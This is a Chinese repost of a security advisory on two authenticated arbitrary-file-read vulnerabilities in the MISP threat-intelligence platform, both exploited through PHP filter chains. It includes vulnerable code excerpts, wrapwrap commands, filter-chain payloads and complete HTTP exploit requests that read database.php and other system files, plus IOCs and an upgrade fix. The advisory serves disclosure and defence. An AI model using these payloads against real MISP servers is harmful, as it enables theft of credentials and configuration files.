描述:
MISP是一个开源威胁情报平台,提供实用程序和文档,通过共享妥协指标来提供更有效的威胁情报。
问题:
Synacktiv 在 MISP 中发现了 2 个利用 PHP 过滤器链攻击的漏洞。它们都需要经过身份验证的应用程序访问权限和使用以下功能的权限:
导入 MISP 导出文件。
创建一个组织。
技术细节
通过 MISP 事件导出读取任意文件
描述
该函数readFromFile
依赖于本机file_get_contents
方法:
# app/Lib/Tools/FileAccessTool.php
public static function readFromFile($file, $fileSize = -1)
{
if ($fileSize === -1) {
$content = @file_get_contents($file);
} else {
[...]
}
该方法支持php://
包装器,因此会受到基于PHP 过滤器链的攻击的影响。为了到达目标代码,该add_misp_export
函数readFormFile
使用用户提供的参数调用该方法:
# app/Controller/EventsController.php
public function add_misp_export()
{
if ($this->request->is('post')) {
$results = array();
if (!empty($this->request->data)) {
if (empty($this->request->data['Event'])) {
$this->request->data['Event'] = $this->request->data;
}
if (!empty($this->request->data['Event']['filecontent'])) {
$data = $this->request->data['Event']['filecontent'];
$isXml = $data[0] === '<';
} elseif (isset($this->request->data['Event']['submittedfile'])) {
$file = $this->request->data['Event']['submittedfile'];
if ($file['error'] === UPLOAD_ERR_NO_FILE) {
$this->Flash->error(__('No file was uploaded.'));
$this->redirect(['controller' => 'events', 'action' => 'add_misp_export']);
}
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (($ext !== 'xml' && $ext !== 'json') && $file['size'] > 0 && is_uploaded_file($file['tmp_name'])) {
$log = ClassRegistry::init('Log');
$log->createLogEntry($this->Auth->user(), 'file_upload', 'Event', 0, 'MISP export file upload failed', 'File details: ' . json_encode($file));
$this->Flash->error(__('You may only upload MISP XML or MISP JSON files.'));
throw new MethodNotAllowedException(__('File upload failed or file does not have the expected extension (.xml / .json).'));
}
$isXml = $ext === 'xml';
$data = FileAccessTool::readFromFile($file['tmp_name'], $file['size']);
}
[...]
try {
$results = $this->Event->addMISPExportFile($this->Auth->user(), $data, $isXml, $takeOwnership, $publish);
}
[...]
}
影响
由于addMISPExportFile
函数将其$data
参数传递给jsonDecode
方法,因此提取的文件内容应该是有效的 JSON 文档。
# app/Model/Event.php
public function addMISPExportFile(array $user, $data, $isXml = false, $takeOwnership = false, $publish = false)
{
if (empty($data)) {
throw new Exception("File is empty");
}
[...]
$dataArray = $this->jsonDecode($data);
if (isset($dataArray['response'][0])) {
foreach ($dataArray['response'] as $k => $temp) {
$dataArray['Event'][] = $temp['Event'];
unset($dataArray['response'][$k]);
}
}
// In case we receive an event that is not encapsulated in a response. This should never happen (unless it's a copy+paste fail),
// but just in case, let's clean it up anyway.
if (isset($dataArray['Event'])) {
$dataArray['response']['Event'] = $dataArray['Event'];
unset($dataArray['Event']);
} elseif (!isset($dataArray['response'])){
// Accept an event not containing the `Event` key
$dataArray['response']['Event'] = $dataArray;
}
[...]
}
此 JSON 文件应遵循以下格式:
{
"response": [
{
"Event": {
// [...]
"Attribute": [
{
// [...]
"value": "<FILE CONTENT HERE>"
}
]
}
}
]
}
为了将任意数据转换为有效的 JSON,使用了wrapwrap工具(由 LEXFO 的 Charles Fol 开发),使用 PHP 过滤器链以任意前缀和后缀包围提取的内容。
$ ./wrapwrap.py /var/www/MISP/app/Config/database.php '{"response": [{"Event":{"orgc_id":"1","org_id":"1","date":"2024-02-29","threat_level_id":"1","info":"test","published":false,"attribute_count":"1","analysis":"0","event_creator_email":"[email protected]","Org":{"id":"1","name":"ORGNAME","local":true},"Orgc":{"id":"1","name":"ORGNAME","local":true},"Attribute":[{"type":"text","category":"Internal reference","to_ids":false,"distribution":"0","timestamp":"1709223278","comment":"","sharing_group_id":"0","deleted":false,"disable_correlation":false,"object_id":"0","object_relation":null,"first_seen":null,"last_seen":null,"value":" ' ' "}]}}]}' 600
[*] Dumping 603 bytes from /var/www/MISP/app/Config/database.php.
[+] Wrote filter chain to chain.txt (size=635222).
$ cat chain.txt
php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.quoted-printable-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.quoted-printable-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.437.UCS
[...]
|convert.iconv.855.UTF7|convert.base64-decode|dechunk|convert.base64-decode|convert.base64-decode/resource=/var/www/MISP/app/Config/database.php
然后,经过身份验证的攻击者可以使用精心设计的 PHP 过滤器来读取文件内容:
POST /events/add_misp_export HTTP/1.1
Host: 192.168.122.189
Accept: application/json
Authorization: [...]
Content-Type: application/json
Cookie: [...]
Content-Length: 635280
{"Event": {"submittedfile": {"size": -1, "tmp_name": "php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode|convert.iconv.855.UTF7|convert.base64-decode
[...]
-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode|dechunk|convert.base64-decode|convert.base64-decode/resource=/var/www/MISP/app/Config/database.php"}}}
HTTP/1.1 500 Internal Server Error
[...]
{"name":"An Internal Error Has Occurred.","message":"An Internal Error Has Occurred.","url":"/events/add_misp_export"}
尽管存在内部错误,事件仍然被创建并且Value
属性包含文件内容:
Value
属性中泄露。<?php=0A
class DATABASE_CONFIG {=0A
public $default =3D array(=0A
'datasource' =3D> 'Database/Mysql',=0A
//'datasource' =3D> 'Database/Postgres',=0A
'persistent' =3D> false,=0A
'host' =3D> 'localhost',=0A
'login' =3D> 'misp',=0A
'port' =3D> 3306, // MySQL & MariaDB=0A
//'port' =3D> 5432, // PostgreSQL=0A
'password' =3D> 'e2[...]c6',=0A
'database' =3D> 'misp',=0A
'pr
推荐
至少将 MISP 升级到版本 2.4.187。
通过组织创建读取任意文件
描述
该__uploadLogo
函数依赖于本机mime_content_type
方法:
# app/Controller/OrganisationsController.php
public function admin_add()
{
if ($this->request->is('post')) {
[...]
$this->Organisation->create();
$this->request->data['Organisation']['created_by'] = $this->Auth->user('id');
[...]
if ($this->Organisation->save($this->request->data)) {
$this->__uploadLogo($this->Organisation->id);
}
[...]
}
private function __uploadLogo($orgId)
{
if (!isset($this->request->data['Organisation']['logo']['size'])) {
return false;
}
$logo = $this->request->data['Organisation']['logo'];
if ($logo['size'] > 0 && $logo['error'] == 0) {
$extension = pathinfo($logo['name'], PATHINFO_EXTENSION);
$filename = $orgId . '.' . ($extension === 'svg' ? 'svg' : 'png');
if ($logo['size'] > 250*1024) {
$this->Flash->error(__('This organisation logo is too large, maximum file size allowed is 250kB.'));
return false;
}
if ($extension !== 'svg' && $extension !== 'png') {
$this->Flash->error(__('Invalid file extension, Only PNG and SVG images are allowed.'));
return false;
}
$imgMime = mime_content_type($logo['tmp_name']);
[...]
}
该方法支持php://
包装器,因此会受到基于PHP 过滤器链的攻击的影响。添加新组织时,应用程序会将用户提供的值传递给受影响的函数,而不进行清理。
从合法工作流程创建新组织通常会产生200
状态代码:
POST /admin/organisations/add HTTP/1.1
Host: 192.168.122.189
Authorization: [...]
Content-Type: application/json
Cookie: [...]
Content-Length: 111
{"Organisation": {"local":0,"name":"test9","logo":{"name":"test.png","size":1,"error":0,"tmp_name":"hello.png"}}}
HTTP/1.1 200 OK
[...]
{
"Organisation": {
"id": "33",
"name": "test9",
"date_created": "2024-03-01 16:40:14",
"date_modified": "2024-03-01 16:40:14",
"description": null,
"type": "",
"nationality": "",
"sector": "",
"created_by": "1",
"uuid": "ac09294d-1b9c-47d9-bb4d-b3895d614146",
"contacts": null,
"local": false,
"restricted_to_domain": null,
"landingpage": null
}
}
但是,当触发基于错误的oracle时,服务器会提示500
错误代码:
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4/resource=php://temp
POST /admin/organisations/add HTTP/1.1
Host: 192.168.122.189
Authorization: [...]
Content-Type: application/json
Cookie: [...]
Content-Length: 1255
{"Organisation": {"local":0,"name":"p","logo":{"name":"test.png","size":1,"error":0,"tmp_name":"php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4/resource=php://temp"}}}
HTTP/1.1 500 Internal Server Error
[...]
{"name":"An Internal Error Has Occurred.","message":"An Internal Error Has Occurred.","url":"/admin/organisations/add"}
影响
攻击者可以通过利用基于错误的预言机来检索/etc/passwd
文件。然而,这种利用需要根据每个请求生成随机组织名称,并且还会生成尽可能多的新组织。 /var/www/MISP/app/Config/database.php
IOC
Web 服务器日志中生成以下错误消息:
$ grep -Ri "Allowed memory size of" /var/log/apache2/
/var/log/apache2/misp.local_error.log:[Fri Mar 01 16:26:47.367545 2024] [php7:error] [pid 7327] [client 192.168.122.1:40342] PHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1541406720 bytes) in /var/www/MISP/app/Controller/OrganisationsController.php on line 494
/var/log/apache2/misp.local_error.log:[Fri Mar 01 16:31:47.015755 2024] [php7:error] [pid 5808] [client 192.168.122.1:41376] PHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 402653184 bytes) in /var/www/MISP/app/Controller/OrganisationsController.php on line 494
/var/log/apache2/misp.local_error.log:[Fri Mar 01 16:32:41.339757 2024] [php7:error] [pid 7563] [client 192.168.122.1:34496] PHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 805306368 bytes) in /var/www/MISP/app/Controller/OrganisationsController.php on line 494
[...]
这是由于Allowed memory size exhaustion
在文件内容泄露期间 PHP 错误被用作预言机。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):MISP-任意文件读取